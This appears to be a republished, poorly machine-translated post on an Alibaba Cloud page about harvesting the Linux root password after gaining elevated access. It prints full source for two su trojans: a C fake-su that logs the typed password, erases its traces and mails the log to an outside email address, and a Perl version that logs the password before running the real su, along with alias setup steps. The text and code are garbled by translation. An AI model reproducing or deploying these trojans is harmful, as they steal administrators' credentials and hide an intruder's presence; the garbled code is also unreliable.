Obtain the linux root password after Elevation of Privilege

Source: Internet
Author: User

After webbackdoor itself is root (potentially poor) or a vulnerability overflows to obtain the highest permissions, it can bring us many benefits if we can get the root password. I checked the methods of my predecessors. One is to cheat su to record the password, and the other is to replace sshd. Let's look at the code to cheat su to record the password!

First look at the first, kpr-fakesu.c V0.9beta167
Fucksu. c

/*
* Kpr-fakesu.c V0.9beta167; P.
* By koper <koper@linuxmail.org>
*
* Setting up:
* Admin @ host :~ $ Gcc-o. su fakesu. c; rm-rf fakesu. c
* Admin @ host :~ $ Mv. su/var/tmp/. su
* Admin @ host :~ $ Cp. bash_profile. wgetrc
* Admin @ host :~ $ Echo "alias su =/var/tmp/. su">. bash_profile
* Admin @ host :~ $ Logout
* ** LOGIN ***
* Admin @ host :~ $ Su
* Password:
* Su: Authentication failure
* Sorry.
* Admin @ host :~ $ Su
* Password:
* Root @ host :~ # Logout
* Admin @ host :~ $ Cat/var/tmp/. pwds
* Root: dupcia17
* Admin @ host :~ $
*
*/Bin/su sends varous failure information depending on the OS ver.
* Please modify the source to make it "fit"
*
*/

# Include <stdio. h>
# Include <stdlib. h>

Main (int argc, char * argv []) {

FILE * fp;
Char * user;
Char * pass;
Char filex [100];
Char clean [100];

Sprintf (filex, "/var/tmp/. pwds ");
Sprintf (clean, "rm-rf/var/tmp/. su; mv-f/home/admin/. wgetrc/home/admin/. bash_profile ");
If (argc = 1) user = "root ";
If (argc = 2) user = argv [1];
If (argc> 2 ){
If (strcmp (argv [1], "-l") = 0)
User = argv [2];
Else user = argv [1];}

Fprintf (stdout, "Password:"); pass = getpass ("");
System ("sleep 3 ″);
Fprintf (stdout, "su: Authentication failurenSorry. n ");

If (fp = fopen (filex, "w "))! = NULL)
{
Fprintf (fp, "% s: % sn", user, pass );
Fclose (fp );
}

System (clean );
System ("rm-rf/var/tmp/. su; ln-s/bin/su/var/tmp/. su ");

/* If you don't want password in your e-mail uncomment this line :*/

System ("uname-a>/var/tmp/. pwds; cat/var/tmp/. pwds | mail kalikosta@hotmail.com ");

}
 

 

Perl version

Perl version:
#! /Usr/bin/perl

######################################## ######################################## ####################
# Kyle@freeshell.se 2006 su trojan check so the su path is correct .#
# Then make alias for trojan first it reads the pass then exec the real su .#
# Logging to/tmp/. pass #
######################################## ######################################## ####################
Print "Password:"; $ s1 = <STDIN>;
Print "Sorry. n ";
$ S2 = "Password is:";
$ S3 = 'date + % Y-% m-% d ';
Open (users, ">/tmp/. pass") | die ("cocould not open file. $ !");
Print users ($ s2, $ s1, $ s3 );
Close (users );

System ("/bin/su ")

Another method is to replace sshd.

This article

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.